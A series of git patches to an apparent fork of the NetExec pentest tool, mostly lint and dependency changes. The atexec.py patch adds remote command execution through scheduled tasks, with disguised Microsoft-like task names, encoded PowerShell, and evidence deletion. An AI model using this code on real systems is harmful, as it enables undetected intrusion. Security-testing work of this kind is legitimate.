3be8b74e89..4c9229c26e 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -6,6 +6,11 @@ class NXCModule: + """ + Module for running system command as target PID user's + Module by @termanix + """ + name = "pi" description = "Run command as logged on users via Process Injection" supported_protocols = ["smb"] From ed88beebf9daed1873c0868627f06ec48ab33e68 Mon Sep 17 00:00:00 2001 From: termanix Date: Wed, 28 May 2025 09:56:21 -0400 Subject: [PATCH 091/103] added remove sign to description on enum_trust --- nxc/modules/enum_trusts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/enum_trusts.py b/nxc/modules/enum_trusts.py index 997c553d69..729a7fb38e 100644 --- a/nxc/modules/enum_trusts.py +++ b/nxc/modules/enum_trusts.py @@ -7,7 +7,7 @@ class NXCModule: """ name = "enum_trusts" - description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity" + description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True From 1cd38c33c229ec5c173f470cd910c5d4b4f82e03 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 11:48:51 -0700 Subject: [PATCH 092/103] WIP: update poetry.lock before upstream merge --- poetry.lock | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/poetry.lock b/poetry.lock index 5f43907e9a..ea54f1bc8d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250422.104055.27bebb13" +version = "0.13.0.dev0+20250516.92444.0769c221" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -888,9 +888,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/fortra/impacket.git" +url = "https://github.com/blacklanternsecurity/impacket" reference = "HEAD" -resolved_reference = "27bebb1347569fa810e432326266acf17560f274" +resolved_reference = "0769c221136c2bee99643bcfd0e34f3a42636de9" [[package]] name = "iniconfig" @@ -2462,4 +2462,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "1b8bf07cb55b385df03716a6bd4a553579e1b325ccb53e2f77ce28605e6903c5" +content-hash = "911edd6ab7b3cc8b1f3d890d7648c8f67e5b047ca8333b0eb2945bfe54fc541d" From e752d047d93ff3c9ee0e8915f257907b3f657845 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:08:48 -0700 Subject: [PATCH 093/103] Restore custom logic for atexec.py --- nxc/protocols/smb/atexec.py | 256 ++++++++++++++++++++---------------- 1 file changed, 145 insertions(+), 111 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index eb80f20bfc..db04788edf 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -1,11 +1,14 @@ import os +import base64 from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep -from datetime import datetime, timedelta +from datetime import datetime import contextlib +import random +import uuid class TSCH_EXEC: @@ -62,12 +65,42 @@ def execute(self, command, output=False): def output_callback(self, data): self.__outputBuffer = data - def get_end_boundary(self): - # Get current date and time + 5 minutes - end_boundary = datetime.now() + timedelta(minutes=5) - - # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" - return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + def get_legitimate_task_filename(self): + """Generate a more plausible task scheduler related filename""" + task_prefixes = ["TS", "Task", "Microsoft-Task", "Windows-Task", "TaskManager", "Schedule"] + extensions = ["wdb"] + + prefix = random.choice(task_prefixes) + extension = random.choice(extensions) + + # Generate different filename formats + formats = [ + f"{prefix}_{uuid.uuid4().hex[:8].upper()}.{extension}", + f"{prefix}-{datetime.now().strftime('%Y%m%d')}.{extension}", + f"Microsoft-{prefix}-{gen_random_string(6).upper()}.{extension}" + ] + + return random.choice(formats) + + def get_legitimate_task_name(self): + """Generate a more plausible scheduled task name""" + vendors = ["Microsoft", "Windows", "System"] + components = ["Maintenance", "Update", "Diagnostics", "Performance", "Security", "Network"] + actions = ["Task", "Manager", "Monitor", "Service", "Scheduler"] + + formats = [ + f"{random.choice(vendors)}-{random.choice(components)}-{random.choice(actions)}", + f"{random.choice(vendors)}{random.choice(components)}", + f"{random.choice(components)}{random.choice(actions)}" + ] + + task_name = random.choice(formats) + + # Sometimes add a random component ID + if random.choice([True, False]): + task_name = f"{task_name}-{uuid.uuid4().hex[:8].upper()}" + + return task_name def gen_xml(self, command, fileless=False): @@ -77,14 +110,12 @@ def gen_xml(self, command, fileless=False): self.logger.debug("PowerShell command detected, keeping as is (user requested)") # case randomization - safer_command = command.replace("powershell", "poWerSheLL") - safer_command = safer_command.replace("POWERSHELL", "PoWeRsHeLL") + safer_command = command.replace("powershell", "poWerSheLL").replace("POWERSHELL", "PoWeRsHeLL") valid_system_filename_prefixes = [ "DiagTrack-", "CompatTel-", "WindowsUpdate-", "NetTrace-", "Defender-", "SIH-", "WER-", "Cluster-", "ws_trace-" ] - import random # Create a filename that looks like a legitimate Windows log or temp file system_prefix = random.choice(valid_system_filename_prefixes) @@ -92,21 +123,40 @@ def gen_xml(self, command, fileless=False): random_suffix = gen_random_string(4) legit_filename = f"{system_prefix}{random_date}-{random_suffix}.log" - - # get time boundaries + + # Use a more convincing task-related filename for output with .wdb extension + task_filename = self.get_legitimate_task_filename() + current_time = datetime.now().strftime("%Y-%m-%dT%H:%M:%S") + self.logger.debug(f"Creation time: {current_time}") - xml = f""" + # Store in ProgramData as originally requested but with convincing filename + self.__output_filename = f"C:\\ProgramData\\{task_filename}" + + if self.__retOutput: + if fileless: + local_ip = self.__rpctransport.get_socket().getsockname()[0] + ps_cmd = f"[IO.File]::WriteAllText('\\\\{local_ip}\\{self.__share_name}\\{legit_filename}', (& {{ {safer_command} }}))" + else: + ps_cmd = f"[IO.File]::WriteAllText('{self.__output_filename}', (& {{ {safer_command} }}))" + else: + ps_cmd = safer_command + + # Generate Base64 encoded PowerShell command + b64 = base64.b64encode(ps_cmd.encode("utf-16le")).decode() + + # Create XML with a registration trigger but no time boundaries + # This will execute immediately when registered, regardless of target system time + return f""" {current_time} Microsoft Corporation - Diagnostics logging helper task + Scheduled system maintenance and diagnostics task - {current_time} - {self.get_end_boundary()} + true @@ -135,31 +185,16 @@ def gen_xml(self, command, fileless=False): - cmd.exe -""" - if self.__retOutput: - if "systemroot" not in legit_filename.lower(): - self.__output_filename = f"\\Windows\\Temp\\{legit_filename}" - else: - self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(8)}.log" - - if fileless: - local_ip = self.__rpctransport.get_socket().getsockname()[0] - argument_xml = f" /C {safer_command} > \\\\{local_ip}\\{self.__share_name}\\{legit_filename} 2>&1" - else: - argument_xml = f" /C {safer_command} > {self.__output_filename} 2>&1" - - xml += argument_xml - else: - argument_xml = f" /C {safer_command}" - xml += argument_xml - - xml += """ + %SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe + -EncodedCommand {b64} - -""" - return xml +""" + + def windows_path_to_smb(self, windows_path): + """Convert a Windows path to SMB path format correctly handling nested directories.""" + # Remove drive letter and normalize slashes + return windows_path.replace("C:", "").replace("\\", "/").lstrip("/") def execute_handler(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() @@ -174,19 +209,8 @@ def execute_handler(self, command, fileless=False): self.logger.fail(f"Failed to connect to DCE/RPC service: {e!s}") return - import random - - legit_task_prefixes = [ - "Microsoft-Windows-", "Microsoft-Diagnosis-", "Microsoft-Windows-Defender-", - "SystemRestore-", "WindowsUpdate-", "User-Feed-", "Power-Efficiency-", - "Microsoft-Proxy-", "NetworkDiag-", "Office-Background-" - ] - - task_prefix = random.choice(legit_task_prefixes) - component = "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(8)) - - # Format looks like: Microsoft-Windows-Task-AF73B829 - tmpName = f"{task_prefix}Task-{component}" + # Use the legitimate task name generator + tmpName = self.get_legitimate_task_name() # Log the name but don't show it's specially crafted self.logger.debug(f"Using task name: {tmpName}") @@ -194,13 +218,14 @@ def execute_handler(self, command, fileless=False): xml = self.gen_xml(command, fileless) self.logger.debug(f"Task XML: {xml}") - self.logger.info(f"Creating task \\{tmpName}") + self.logger.info(f"Creating task: {tmpName}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + self.logger.debug("Task registered successfully") except Exception as e: if hasattr(e, "error_code") and e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("ATEXEC: Create schedule task got blocked.") @@ -212,69 +237,73 @@ def execute_handler(self, command, fileless=False): dce.disconnect() return - # After task creation, try to run it immediately + # With RegistrationTrigger without time boundaries, the task should run immediately + # But we'll still try to manually run it as a backup approach try: - self.logger.debug("Attempting to run the task immediately") + self.logger.debug("Attempting manual task execution...") tsch.hSchRpcRun(dce, f"\\{tmpName}", NULL) self.logger.debug("Task run request sent successfully") except Exception as e: - self.logger.debug(f"Could not run task immediately: {e!s}. Will rely on trigger") - + self.logger.debug(f"Manual execution failed: {e!s}, relying on registration trigger") + + # Give the task time to execute + sleep(3) - # Wait for task execution + # Wait for task execution with intelligent polling wait_attempts = 0 done = False task_ran = False - - sleep(3) - - while not done and wait_attempts < 15: + max_attempts = 15 + + while not done and wait_attempts < max_attempts: + # First check if output file exists (most reliable check) + if self.__retOutput and wait_attempts >= 2: # After initial wait + try: + self.logger.debug(f"Checking for output file (attempt {wait_attempts + 1})") + smb_path = self.windows_path_to_smb(self.__output_filename) + smbConnection = self.__rpctransport.get_smb_connection() + smbConnection.getFile(self.__share, smb_path, self.output_callback) + self.logger.debug("Found output file, task completed successfully") + done = True + task_ran = True + break + except Exception as e: + self.logger.debug(f"Output file check: {e}") + + # Then check task run status try: - self.logger.debug(f"Checking if task \\{tmpName} has run (attempt {wait_attempts + 1}/15)") + self.logger.debug(f"Checking task execution status (attempt {wait_attempts + 1}/{max_attempts})") resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") if resp["pLastRuntime"]["wYear"] != 0: - self.logger.debug(f"Task \\{tmpName} has run") + self.logger.debug(f"Task \\{tmpName} has run successfully") done = True task_ran = True else: - self.logger.debug(f"Task \\{tmpName} has not run yet, waiting...") + self.logger.debug("Task has not completed yet, waiting...") wait_attempts += 1 sleep(2) except Exception as e: - if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): - self.logger.debug("Task has not run yet (expected status), continuing to wait") - else: - self.logger.debug(f"Error checking task: {e!s}") - + self.logger.debug(f"Status check: {e}") wait_attempts += 1 sleep(2) - - if wait_attempts >= 7 and self.__retOutput: - try: - self.logger.debug("Attempting early output file check") - smbConnection = self.__rpctransport.get_smb_connection() - smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) - self.logger.debug("Found output file, task must have completed") - done = True - task_ran = True - break - except Exception: - pass + # Clean up the task try: - self.logger.info(f"Deleting task \\{tmpName}") + self.logger.info(f"Deleting task: {tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") except Exception as e: self.logger.debug(f"Error deleting task: {e!s}") + # Additional wait if needed if not task_ran and self.__retOutput: - self.logger.debug("Waiting additional time for command execution to complete") + self.logger.debug("Task status unclear, waiting additional time for potential output") sleep(3) + # Get command output if requested if self.__retOutput: if fileless: # For fileless execution, read from the network share - max_attempts = 15 + max_attempts = 10 attempts = 0 while attempts < max_attempts: try: @@ -291,59 +320,64 @@ def execute_handler(self, command, fileless=False): self.logger.debug(f"Could not remove file {file_path}: {e}") break except OSError: - sleep(2) + sleep(1) attempts += 1 else: smbConnection = self.__rpctransport.get_smb_connection() - tries = 1 - sleep(1) + # Properly convert Windows path to SMB path + smb_path = self.windows_path_to_smb(self.__output_filename) output_basename = os.path.basename(self.__output_filename) - os.path.dirname(self.__output_filename.strip("\\")) - # The __output_filename has the form "\Windows\Temp\filename.log" - # For SMB access, we need "Windows\Temp\filename.log" relative to the share - smb_relative_path = self.__output_filename.strip("\\") - - while True: + while tries <= self.__tries: try: - self.logger.info(f"Attempting to read output from {output_basename}") - smbConnection.getFile(self.__share, smb_relative_path, self.output_callback) + self.logger.info(f"Attempting to read output from: {self.__output_filename}") + smbConnection.getFile(self.__share, smb_path, self.output_callback) break except Exception as e: - if tries >= self.__tries: - self.logger.fail("ATEXEC: Could not retrieve output file. It may have been detected by AV, or the task did not execute successfully.") - break if "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break elif "STATUS_VIRUS_INFECTED" in str(e): self.logger.fail("Command did not run because a virus was detected") break - + elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): + self.logger.info(f"Path not found for {self.__output_filename}, trying alternate path...") + # Try with just the filename in case path issues + try: + alternate_path = output_basename + self.logger.debug(f"Attempting with alternate path: {alternate_path}") + smbConnection.getFile(self.__share, alternate_path, self.output_callback) + self.logger.debug("Successfully retrieved file with alternate path") + break + except Exception as alt_e: + self.logger.debug(f"Alternate path also failed: {alt_e}") # When executing powershell and the command is still running, we get a sharing violation - if "STATUS_SHARING_VIOLATION" in str(e): + elif "STATUS_SHARING_VIOLATION" in str(e): self.logger.info(f"File {output_basename} is still in use, retrying...") - tries += 1 - sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.logger.info(f"File {output_basename} not found, retrying...") - tries += 2 # Increment by 2 instead of 10 to avoid exhausting tries too quickly - sleep(1) else: self.logger.debug(f"Error reading output file: {e!s}. Retrying...") - tries += 1 - sleep(1) + + tries += 1 + sleep(1) + + if tries > self.__tries: + self.logger.fail("ATEXEC: Could not retrieve output file after maximum attempts.") # Delete the file to remove evidence, but only if we successfully read it - if tries < self.__tries: + if tries <= self.__tries: try: - self.logger.debug(f"Cleaning up output file {output_basename}") - smbConnection.deleteFile(self.__share, smb_relative_path) + self.logger.debug(f"Deleting output file: {output_basename}") + smbConnection.deleteFile(self.__share, smb_path) except Exception as e: self.logger.debug(f"Could not delete output file: {e!s}") + # Try with just the filename as a fallback + with contextlib.suppress(Exception): + smbConnection.deleteFile(self.__share, output_basename) # Always ensure proper disconnect with contextlib.suppress(Exception): - dce.disconnect() + dce.disconnect() \ No newline at end of file From 104dfa5435287c2ef51bc13202b66455546e6219 Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:19:59 -0700 Subject: [PATCH 094/103] Restore BLS pyproject.toml --- pyproject.toml | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index e204b21fe8..03f7ade246 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -21,13 +21,14 @@ dependencies = [ "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", - "bloodhound-ce>=1.8.0", + "bloodhound>=1.8.0", "dploot>=3.1.0", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", "masky>=0.2.0", "minikerberos>=0.4.1", + "msldap>=0.5.10", "neo4j>=5.0.0", "paramiko>=3.3.1", "pyasn1-modules>=0.3.0", @@ -84,40 +85,38 @@ build-backend = "poetry_dynamic_versioning.backend" flake8 = "*" shiv = "*" pytest = "^7.2.2" -ruff = "*" +ruff = "=0.0.292" [tool.ruff] -target-version = "py310" -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] -line-length = 65000 -preview = true - -[tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", - "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF" + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" ] ignore = [ - "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", - "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", - "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF052", "RUF059" + "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", + "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012" ] -# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] + +exclude = [ + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" +] per-file-ignores = {} +line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -[tool.ruff.lint.flake8-quotes] +target-version = "py310" + +[tool.ruff.flake8-quotes] docstring-quotes = "double" inline-quotes = "double" multiline-quotes = "double" From b0fa540e34e4250f7bdc36b171b198b34c2aadca Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:26:13 -0700 Subject: [PATCH 095/103] Apply ruff lint fix [RUF100] --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 1f7753a3fb..e7f4d0d207 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -976,7 +976,7 @@ def qwinsta(self): maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 maxClientName = max(len(sessions[i]["ClientName"]) + 1 for i in sessions) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 - template = ("{SESSIONNAME: <%d} " # noqa: UP031 + template = ("{SESSIONNAME: <%d} " "{USERNAME: <%d} " "{ID: <%d} " "{IPv4: <16} " @@ -1047,7 +1047,7 @@ def tasklist(self): self.logger.success("Enumerated processes") maxImageNameLen = max(len(i["ImageName"]) for i in res) maxSidLen = max(len(i["pSid"]) for i in res) - template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) # noqa: UP031 + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in res: From c6766f4c08c5905065ed5468cf9e466513b4793e Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:39:49 -0700 Subject: [PATCH 096/103] Apply numerous ruff linting fixes --- nxc/connection.py | 2 +- nxc/netexec.py | 8 ++++---- nxc/protocols/nfs.py | 6 +++--- nxc/protocols/smb/firefox.py | 4 ++-- tests/test_smb_database.py | 2 +- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index bc2e7f907b..bd4573a425 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -312,7 +312,7 @@ def over_fail_limit(self, username): if self.failed_logins == self.args.fail_limit: return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: return True return False diff --git a/nxc/netexec.py b/nxc/netexec.py index 9f0e35246b..77c8fab974 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -40,7 +40,7 @@ resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) -async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 +async def start_run(protocol_obj, args, db, targets): futures = [] nxc_logger.debug("Creating ThreadPoolExecutor") if args.no_progress or len(targets) == 1: @@ -58,7 +58,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for _ in as_completed(futures): - current += 1 # noqa: SIM113 + current += 1 progress.update(tasks, completed=current) for future in as_completed(futures): try: @@ -102,8 +102,8 @@ def main(): start_id, end_id = cred_id.split("-") try: for n in range(int(start_id), int(end_id) + 1): - args.cred_id.append(n) # noqa: B909 - args.cred_id.remove(cred_id) # noqa: B909 + args.cred_id.append(n) + args.cred_id.remove(cred_id) except Exception as e: nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index e9d60ef040..bd91e2bdbd 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -562,13 +562,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) return root_handles diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 8084fcd91c..0aa806921c 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -128,7 +128,7 @@ def run(self, gather_cookies=False): def parse_cookie_data(self, windows_user, cookies_data): cookies = [] - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -167,7 +167,7 @@ def get_key(self, key4_data, master_password=b""): # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index f2e5479c84..f4da5c0945 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -38,7 +38,7 @@ def db_setup(db_engine): delete_workspace("test") -@pytest.fixture +@pytest.fixture() def db(db_setup): yield db_setup db_setup.clear_database() From fb2c1662daea9e528c02e239719a8f2fe3ca62fd Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:43:31 -0700 Subject: [PATCH 097/103] Update ruff version pinning --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 03f7ade246..6222e38cb9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -85,7 +85,7 @@ build-backend = "poetry_dynamic_versioning.backend" flake8 = "*" shiv = "*" pytest = "^7.2.2" -ruff = "=0.0.292" +ruff = "*" [tool.ruff] select = [ From 3b66ba927f07be391dd9f5a3139c5c5c3acf987d Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:45:53 -0700 Subject: [PATCH 098/103] Update poetry.lock to match pyproject.toml changes --- poetry.lock | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 37116e6e16..0f41068ec2 100644 --- a/poetry.lock +++ b/poetry.lock @@ -335,15 +335,15 @@ files = [ ] [[package]] -name = "bloodhound-ce" +name = "bloodhound" version = "1.8.0" -description = "Python based ingestor for BloodHound Community Edition" +description = "Python based ingestor for BloodHound" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "bloodhound_ce-1.8.0-py3-none-any.whl", hash = "sha256:0d5f39c2ab157448313f6c0ea8afdcf081238682f445c81e065684395ba5484b"}, - {file = "bloodhound_ce-1.8.0.tar.gz", hash = "sha256:f663d6181e2a1ab8de9d57948011662e2a47880d8caca9b85369a7efaed13a70"}, + {file = "bloodhound-1.8.0-py3-none-any.whl", hash = "sha256:97dcef77fa38dbab7219909c117eb9fd7263aff107cee0bf6fc7a0d0db9a61ac"}, + {file = "bloodhound-1.8.0.tar.gz", hash = "sha256:35ed0f1fdda2b1d79a4e9d891cabe2c55309a32743aeed16d885f3d809f409b3"}, ] [package.dependencies] @@ -892,7 +892,6 @@ url = "https://github.com/blacklanternsecurity/impacket" reference = "HEAD" resolved_reference = "0769c221136c2bee99643bcfd0e34f3a42636de9" - [[package]] name = "iniconfig" version = "2.0.0" @@ -2464,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "911edd6ab7b3cc8b1f3d890d7648c8f67e5b047ca8333b0eb2945bfe54fc541d" \ No newline at end of file +content-hash = "10c3d9c1eaff49addd49ecfb9938705fa237710abd5f9a8bdbab29281e021a7a" From e2e196fcc757802bcf8f93860fb8d0b162cf050a Mon Sep 17 00:00:00 2001 From: Fox <22664861+Mercury0@users.noreply.github.com> Date: Thu, 29 May 2025 12:56:47 -0700 Subject: [PATCH 099/103] Update pyproject.toml --- pyproject.toml | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 6222e38cb9..02ca486080 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -88,35 +88,37 @@ pytest = "^7.2.2" ruff = "*" [tool.ruff] +target-version = "py310" +exclude = [ + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" +] +line-length = 65000 +preview = true + +[tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", - "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF" ] ignore = [ - "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", - "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", - "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012" + "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", + "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", + "PERF203", "RUF012", "RUF052", "RUF059" ] +# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] - -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] per-file-ignores = {} -line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py310" - -[tool.ruff.flake8-quotes] +[tool.ruff.lint.flake8-quotes] docstring-quotes = "double" inline-quotes = "double" multiline-quotes = "double" From 